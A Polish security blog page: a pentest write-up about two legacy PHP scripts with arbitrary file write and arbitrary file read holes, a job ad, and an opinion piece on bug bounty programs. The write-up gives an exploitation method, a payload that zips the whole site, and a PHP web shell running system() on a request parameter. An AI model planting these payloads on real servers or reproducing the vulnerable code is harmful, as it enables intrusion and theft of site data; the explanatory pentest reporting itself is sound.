Mokry sen pentestera, czyli pentesting na wesoło

Podczas ostatniej sesji pentestów u klienta odkryłem na serwerze skrypt pozostawiony przez dewelopera, który projektował system lata temu.

Skrypt, publicznie dostępny (jego adres był wysyłany do klientów), był wykorzystywany przez jeden z komponentów do zapisywania logów na serwerze, w bardzo oryginalny sposób.

Nie wiem nawet jak to skomentować, po prostu wam pokażę kod:

<?php

	/*function deleteDir($path) {
		if (empty($path)) { 
			return false;
		}
		return is_file($path) ?
				@unlink($path) :
				array_map(__FUNCTION__, glob($path.'/*')) == @rmdir($path);
	}

	deleteDir('xxx');
	die;*/

	$filename = $_REQUEST["xvar"];
	$user = $_REQUEST["yvar"];
	$xyz = $_REQUEST["zvar"];

	chdir('xxx');

	$hfile = fopen($filename, "a+");
	
	$fsize=filesize($filename);
	
	if ($fsize==0){
		fwrite($hfile, $user."\r\n\r\n");
	}
	
	fwrite($hfile, date("r")." - ".$xyz."\r\n");
	
	echo "1";

?>

No więc co się tutaj dzieje? Ten skrypt po prostu pobiera parametry z zapytania POST lub GET i wykorzystuje ich treść do nadpisania istniejącego lub stworzenia nowego pliku na serwerze w podkatalogu „xxx”.

Problem polega na tym, że nie jest przeprowadzona żadna walidacja i możliwe jest stworzenie dowolnego pliku w dowolnym katalogu systemu, także skryptów PHP.

Jak wykorzystać tę lukę?

Kreatywnie. To na pewno. I tak żeby klient zrozumiał, że to nie są żarty. Należy w tym celu skonstruować zapytanie POST do serwera i odpowiednio ustawić parametry:

  1. „xvar” – w tym parametrze zapiszemy nazwę nowo utworzonego skryptu PHP
  2. „yvar” – będzie zawierać treść kodu PHP z tagiem otwierający skrypt <?php i tagiem na końcu, który będzie otwierał wielolinijkowy komentarz PHP „/*”, ponieważ po tej zmiennej zapisywana jest data i zepsułoby to strukturę kodu PHP
  3. „zvar” – tym parametrem zamkniemy wielolinijkowy komenarz PHP „*/* oraz domkniemy tagi skryptu PHP „?>”

Pobieranie zawartości całej strony

Poniższy skrypt został tak zapisany, że wykorzystując rozszerzenie ZIP dla PHP tworzy archiwum (bez kompresji, żeby nie wydłużać czasu działania skryptu) ze wszystkimi plikami znajdującymi się na stronie.

<?php $r = realpath('../');$z = new ZipArchive();$z->open('dump.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($r),	RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($r) + 1); $z->addFile($filePath, $relativePath); $z->setCompressionName($relativePath, ZipArchive::CM_STORE); } } $z->close(); /* 

Do stworzenia tego skryptu na serwerze wykorzystując znalezioną podatność wykorzystałem rozszerzenie dla Chrome – RestMan. Po ustawieniu rodzaju zapytania (POST) i parametrów, wadliwy skrypt zwrócił „1” co jak widać świadczy o tym, że wykonał się do końca.

Teraz wystarczy wpisać w przeglądarkę adres witryny i nazwę skryptu, znajduje się on w katalogu „xxx/dump.php” i jeśli wszystko pójdzie ok, stworzy „piętro wyżej” archiwum ZIP z całą zawartością strony.

Problem może być czas potrzeby do działania skryptu PHP, ograniczony ustawieniami w pliku konfiguracyjnym php.ini. Można go sobie wydłużyć wykonując funkcję PHP set_time_limit(10 * 60); zaraz na początku skryptu.

Zdalna powłoka

Z ciekawszych rzeczy, które można podrzucić jest zdalna powłoka, którą można wykorzystać do zdalnego wykonywania poleceń, dzięki funkcji system() wbudowanej w PHP:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die(); } /*

Funkcja ta może być i często jest wyłączona w konfiguracji PHP, ale warto o tym wiedzieć.

Czy to w ogóle błąd?

Zastanawiałem się nad tym chwilę, bo adres skryptu był wysyłany do klientów systemu po określonej akcji i nie mogli mieć świadomości, co się dzieje po jego wykonaniu tzn. że w podkatalogu „xxx” tworzone są nowe pliki. Bo skąd?

Jednak dalsze testy tego archaicznego systemu pozwoliły odnaleźć innego kwiatka, który tego wyżej bije na głowę:

<?php
// downloading a file
	$filename = $_GET['filename'];

// fix for IE catching or PHP bug issue

	header("Pragma: public");
	header("Expires: 0"); // set expiration time
	header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
	
// browser must download file from server instead of cache

// force download dialog

	header("Content-Type: application/force-download");
	header("Content-Type: application/octet-stream");
	header("Content-Type: application/download");

// use the Content-Disposition header to supply a recommended filename and
// force the browser to display the save dialog.

	header("Content-Disposition: attachment; filename=".basename($filename).";");

/*
The Content-transfer-encoding header should be binary, since the file will be read
directly from the disk and the raw bytes passed to the downloading computer.
The Content-length header is useful to set for downloads. The browser will be able to
show a progress meter as a file downloads. The content-lenght can be determines by
filesize function returns the size of a file.
*/

	header("Content-Transfer-Encoding: binary");
	header("Content-Length: ".filesize($filename));

	@readfile($filename);
	
	exit(0);
	
?>

To raczej trudno pobić.

Skrypt pozwala pobrać dowolny plik z serwera, wystarczy np. ustawić parametr „filename” na „index.php” lub jakiś inny, często używany plik jak „config.php”, żeby dobrać się do reszty systemu.

Klient zaskoczony

Po wskazaniu błędów i zaprezentowaniu możliwości klient był zaskoczony, że takie coś w ogóle było możliwe, jednak wynikało to z wieku systemu i metod tworzenia oprogramowania wykorzystywanych lata temu, których już raczej nie doświadczymy. Chociaż, kto wie ile jeszcze takich starych kwiatków wisi na produkcji 🙂

Praca dla pentestera w 7N

Firma 7N poszukuje osoby na stanowisko IT Security Specialist/Expert.

Zakres obowiązków:

  • testy bezpieczeństwa, systemów, aplikacji, sieci oraz symulację ataków
  • rekomendowanie rozwiązań dla wykrytych podatności
  • rozwój narzędzi bezpieczeństwa i do monitorowania/bezpieczeństwa IT
  • analizę podatności oprogramowania oraz złośliwego oprogramowania
  • analizę ruchu sieciowego

Oczekujemy:

  • min. 3-4 lata relewantnego doświadczenia
  • szerokiej wiedzy na temat podatności systemów, aplikacji (web i mobilne) i urządzeń sieciowych
  • znajomość jednej z wymienionych technik: OWASP, ESAPI, SSP, etc.
  • znajomość zagadnień kryptografii oraz zagadnień dotyczących bezpieczeństwa sieci teleinformatycznej
  • mile widziany: certyfikat branżowy (np. CISSP, CEH, etc.)
  • dobrej znajomości j. angielskiego
  • dążenie do własnego rozwoju zawodowego

Oferujemy (jak zawsze w 7N):

  • Jawność finansową: wynagrodzenie w wysokości ok. 9000-10000 brutto na UOP lub 10000-11000 PLN + VAT przy b2b. To nasza wstępna propozycja, negocjowalna w zależności od indywidualnych oczekiwań oraz od doświadczenia i kompetencji danego Konsultanta.
  • Telefon i komputer służbowy.
  • Przejrzysty model (75/25) rozliczeń – nasi Konsultanci otrzymują 75% stawki, którą 7N otrzymuje za ich pracę od Klienta – ww. stawki są docelowymi, które otrzyma konsultant.
  • Finansowe wsparcie w rozwoju zawodowym – dofinansowujemy szkolenia, certyfikaty techniczne oraz naukę języków obcych.
  • Brak umów lojalnościowych (po godzinach można nadal wspierać swoich Klientów)
  • Dofinansowanie opieki zdrowotnej i karty Benefit Multisport niezależnie od formy współpracy

W przypadku zainteresowania, poproszę o kontakt/przesłanie aktualnego CV na adres: dagon[at]7n[dot]com

Za kulisami Bug Bounty

Autorem tekstu jest Dawid Bałut.

Bug bounty – szacunek, wdzięczność a jednocześnie cwaniactwo i ściema.

no_more_free_bugsZacznijmy od tego czym jest Bug bounty. Jest to program nagród przyznawanych odkrywcom błędów (czyli tak zwanych „bugów”). Ja skupię się w tym artykule na błędach mających wpływ na bezpieczeństwo (serwisów internetowych, aplikacji internetowych, danych na owych podmiotach zawartych). Piszę jako osoba korzystająca z programów bug bounty, a swoje opinie bazuję na współpracy z kilkudziesięcioma korporacjami.

Założeniem programu nagród za odkryte błędy, było zachęcenie ludzi do szukania i zgłaszania błędów twórcom oprogramowania. Istnieją nawet serwisy, które skupiają ludzi się tym zajmujących, jak na przykład Bugcrowd.

Crowdsourcing

Crowdsourcing, czyli praca wykonywana przez tłum ludzi jest rzeczą świetną, bo nie płacisz każdej osobie która szuka błędu. Płacisz tej osobie, która błąd znajdzie. Nie liczy się to czy szukałeś, liczy się to czy znalazłeś.

Programy Bug Bounty

Korporacje takie jak Facebook, Google czy Paypal postanowiły otworzyć taki właśnie program i było to świetną decyzją. Ludzie, gdy widzą, że za dobrze wykonaną robotę czeka ich  wynagrodzenie chętniej podchodzą do tematu.

Firmy zdobywają więc uwagę wszelakich bug hunterów (ludzi szukających podatności) począwszy od black hatów (hakerów, którzy mają niecne zamiary) po zwykłych internautów, którzy chcą spróbować szczęścia. Niektóre firmy oferują nagrody pieniężne, wpis na „Hall of Fame” (stronę poświęconą osobom zasłużonym w programie BB), koszulki i inne gadżety, ale są też cebulaki, którzy oferują eurogąbki.

No dobra założenie jest fajne, prawda? Za znalezione podatności dostaję pieniądze, firma jest bezpieczniejsza, więc oboje mamy profit. Właśnie – założenie, bo w praktyce wygląda to różnie…

Co oferują programy Bug Bounty?

Firmy posiadające program bug bounty dzielą się w zasadzie na dwa typy.

Przeważająca jest ilość takich, które doceniają i szanują resarcherów (osoby zgłaszające błędy), znają wartość ich pracy i tak dalej.  Drugi typ to te firmy, które posiadają program BB po to, żeby sprawiać wrażenie przyjaznej i poprawić sobie PR, a suma sumarum – mają ten program i ludzi z niego korzystających (a raczej chcących korzystać) gdzieś.

scoopitSą też firmy, które nie mają oficjalnego bug bounty, ale w ramach podziękowania coś oferują. Przykładem niech będzie firma scoop.it, która nigdzie nie ma notacji o programie bug bounty, ale za kilkanaście błędów bezpieczeństwa wysłała mi firmową bluzkę. Ocenę tego wynagrodzenia zostawiam Wam, ale moim zdaniem lepsze to niż pakiet eurogąbek 🙂

homeshirtDocenić też muszę gest polskiej firmy – Home.pl, z którą już miałem przyjemność współpracować, a po ostatnim raporcie dostałem taką oto koszulkę (jest świetna).

Dlaczego chwalę Home.pl za ich zachowanie? Dlatego, że wiele firm, szczególnie polskich nie potrafi się zachować jeśli chodzi o współpracę z bug hunterami.

Allegro

Jest taka korporacja, dla której zgłoszenie 42 błędów typu Cross Site Scripting, 2 SQL injection, 2 Infinite Loop i kilku Open redirectów nie zasługuje nawet na podsumowującego maila z podziękowaniem czy  inny kubek. Znaleziska te według bug bounty Google’a, licząc po najniższej stawce wyniosłyby za te „prezenty” ~135 tysięcy dolarów. Oczywiście nie chodzi mi o to, aby Allegro płaciło kilka tysięcy $ za błąd bezpieczeństwa. Chcę tylko zobrazować Wam jak to wygląda.

Nieporozumieniem jest dla mnie sytuacja kiedy zgłasza się kilkadziesiąt błędów w sztandarowych produktach mających ogromny wpływ na bezpieczeństwo danych i użytkowników, i nie otrzymuje się odpowiedzi.

Logo Allegro

Już mówię z czego to wynika – z zapatrzenia w siebie, kompleksów i poczucia wstydu, że ktoś kto nie zna infrastruktury i na portalach na które wchodzi po raz pierwszy w życiu znajduje ogrom błędów. Tak więc sugeruję  schować ego w kieszeń, bo mamy wspólny cel – poprawę bezpieczeństwa.

Nie ma tu ani czasu ani sensu na niepoważne zachowania. Powinniśmy współpracować… Ale przecież lepiej mieć w nosie badaczy bezpieczeństwa (z ang. security researcher, bowiem tak określa się osoby badające bezpieczeństwo), a później płakać – bo wycieki danych, bo włamania, bo hakują bo coś tam jeszcze się stało, niedobre hakiery!

Jeśli nie szanuje się czyjejś pracy, to nie ma co później oczekiwać, że ta sama osoba, którą źle się potraktowało, znowu pokornie zgłosi błędy. Tak to nie działa, bo na szczęście bug hunterzy mają godność i szacunek dla własnej pracy.

Mimo, że zdarzają się zagraniczne portale, które stosują metodę „łataj i nie odpowiadaj” to i tak „Nasze” firmy w tym przodują. Do powyższej metody stosują się przede wszystkim portale oferujące usługi e-poczty (o2 / wp / Interia), e-wydawnictwa(Merlin), Groupon (gratulacje za SQLi, które wiszą przez kilka miesięcy), o bankach nie wspominając – ci wymiatają konkurencję…

Jakie firmy polecam Wam do współpracy?

Facebook, Google, PayPal (choć często ściemniają, nie zaliczają, jeśli wyślesz kilka błędów to zaliczą Ci jeden, resztę określą jako dubel, a po przelaniu środków na Twoje konto PayPal zablokują je uniemożliwiając Ci wybranie pieniędzy 🙂 ) czy Barracuda™.

Kto nie czuje idei bug bounty?

Z firm, z którymi korespondowałem to Pinterest, Valve, Blizzard, Ubisoft, AT&T, Dailymotion, Grupa Allegro, banki.

Chociaż może i Valve Cię nie „oleje”, i wyśle Ci to co mnie za 2 XSSy (1 stored na steamcommunity, drugi reflected na steam store)…

topor_steam

Dawid Bałut

Facebook Bug Bounty

Karta płatnicza od Facebooka

Nasz stały czytelnik i pentester Dawid Bałut przysłał nam zdjęcie swojej karty, którą otrzymał od Facebooka w ramach programu Facebook Security Bug Bounty.

Facebook Bug Bounty

Pentesting

Dawid w przeszłości znajdywał luki w takich serwisach jak Allegro, Pinterest, BOŚ Bank, wyżej wspomniany Facebook oraz w wielu innych serwisach i aplikacjach webowych. Jeśli mielibyście do niego jakieś pytania to kontakt GG:11647945